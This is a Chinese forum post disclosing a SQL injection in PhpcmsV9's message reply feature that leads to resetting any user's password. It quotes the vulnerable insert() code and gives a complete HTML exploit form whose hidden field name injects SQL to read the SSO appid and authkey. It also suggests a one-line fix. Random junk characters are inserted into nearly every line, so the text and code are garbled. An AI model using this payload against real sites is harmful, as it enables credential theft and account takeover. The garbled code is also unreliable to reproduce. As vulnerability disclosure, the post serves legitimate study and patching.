找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2569|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
) E8 E! d  D9 ]- o/ c0 z4 {# W) x' q3 R$ L$ V" [( R' y; ^
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
  o$ `$ A4 h0 b2 e5 s3 b& S  I
) `- x' A5 u5 g5 W: s, _* A5 n! x$ b2 H明天再更新下一个漏洞。3 j" A  K) \% f
详细说明:, Q/ r. z7 N: G: P( \
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
" [6 R, Y# f* G+ A7 b7 p% T( y; K& s* H
$messageid = $this->message_db->insert($_POST['info'],true);% P0 G6 F$ S& e5 f. P, _

6 F& f2 k& g- \! Q6 M- i+ Q1 u" h) g4 s- `3 f
insert方法是key value的,代码如下:
# T$ ?0 y# h" C8 w  f8 P
, Y% n* j2 f' @3 Kpublic function insert($data, $table, $return_insert_id = false, $replace = false) {5 s7 d8 ?! B6 ]4 @
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
( m, E0 q4 N+ Z1 A+ z                        return false;
- S; m5 U# r7 m* @6 k                }. n8 `9 H6 H' h( u
               
8 z4 g5 @) y7 a( \                $fielddata = array_keys($data);& c1 G8 B- ~- \% Q/ A7 o  i5 W, l' A
                $valuedata = array_values($data);" i' r8 \( m  a4 I- h5 O3 U
                array_walk($fielddata, array($this, 'add_special_char'));
* B7 s! K) ~& }) Z                array_walk($valuedata, array($this, 'escape_string'));
8 @: Z9 }4 V7 l) ^4 B                - p, y1 s" \9 r
                $field = implode (',', $fielddata);/ n" Y3 ?4 Q/ Y# D
                $value = implode (',', $valuedata);
/ ?# |3 s5 S7 O/ e& c4 d/ P1 {) J
( Z6 G" r6 s' w9 y" U& W* }                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';! i! S" a% e; G& @0 I5 ]" r
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';  L8 g& G) J. }4 T1 D" {2 l
                $return = $this->execute($sql);
0 b0 Z, }! ~% p( g/ ]! f3 R                return $return_insert_id ? $this->insert_id() : $return;
6 z0 f' ?- `1 `! A        }
9 i. o9 E) i; |: w* V2 z  n& k( v7 ?" k3 b9 [9 R' p

% Z3 Q8 D# E& i% _, X嗯,很遗憾的是
3 q( U  R/ G0 Y1 s; {: `4 c0 f/ s6 z6 |
array_walk($fielddata, array($this, 'add_special_char'));9 |# T3 U+ }9 N2 u

' G* A* `# K* ^3 u4 ^; J
( U+ s  q! I; G2 G3 |+ ~/ q中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
$ t. E/ ?5 v, v! ^2 c+ B
( ?$ O2 H5 L0 }% p# ~5 G! z0 C, a到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
  {( D% J! K6 h9 U! N7 Q; y
. J5 ~  s7 q- |& @& c1 m9 g9 N漏洞证明:% D% v+ E7 ]% K$ o, p8 }
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。1 y$ ]. z3 |4 ]
4 N2 Q* H* U2 r1 k

7 O9 T6 H% Q: b3 `% P表单如下:用户名什么的得自己改一改。
' {2 Y- E) P+ F; Z. @6 X: I<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
3 [2 e' {6 S' K1 y8 N; V& a  o& m<table width="100%" cellspacing="0" class="table_form">
3 i! s4 F6 y4 y( E+ |$ o<tr>  Q8 z$ k. z1 B( N" N8 U% R
<th>标 题:</th>8 ^6 z  u0 y/ I8 H, P/ \; I; Z
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>$ @4 }- E+ U: [
</tr> , c& K1 C2 c% [5 {+ P# [
<tr>$ x+ s$ r. @) j% s4 O
<th>内 容:</th>" ]" {0 }' ]1 X0 }! ^
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
" X* @- ]8 i' \5 t) W& m/ s9 k2 Q</tr>+ k3 J! P1 {" W9 |. r
<input type="hidden" name="info[replyid]" value="2" /> 7 M/ m$ b' s9 x; j6 E9 ]6 @
<input type="hidden" name="info[send_to_id]" value="cc" />
: f* C, w& N7 {6 n8 Z, S9 J<input type="hidden" name="info[send_from_id]" value="hh">% E3 o' Y0 t) r7 d% R
<!-- 漏洞的利用重点在这里开始 -->
! z2 r& x( ?2 f  ?<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
7 ]7 r0 [" N6 M* p/ X4 [<!-- 漏洞的利用重点在这里结束 -->
3 N# g& u( {4 W* T' }) L, C<tr>
; I, \6 G3 g7 m<th>验证码:</th>& C9 C0 l( E9 h+ ^& J" @
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
# Z; g) ~8 ^8 T$ i$ L</tr>9 i& J) P: Q+ W6 s3 ?( C9 U
<tr>8 T- Q5 n* w/ m" g3 A5 |
<td></td>4 `* }6 H8 X! g( [( e' w
<td colspan="2"><label>
/ w$ ~( E; m" n( `. F; x: R# g<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>- R5 N5 F2 W0 F4 [: q, q+ f$ E
</label></td>4 }' m' I, X& |2 @' o( |
</tr>
) R# d! i/ A5 [# N4 @$ d# t; k3 I</table>
0 n- @) Z, F8 s0 x% `</form>
6 x! |* W' e% }% O$ Y9 N* K8 ]在add_special_char函数内对key做过滤就可以了。
5 U! z. k. @: X) p1 L) ^2 e: V# c  T6 h, R

6 F# u% C5 _% o/ X7 E: b" H+ g$ b: z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表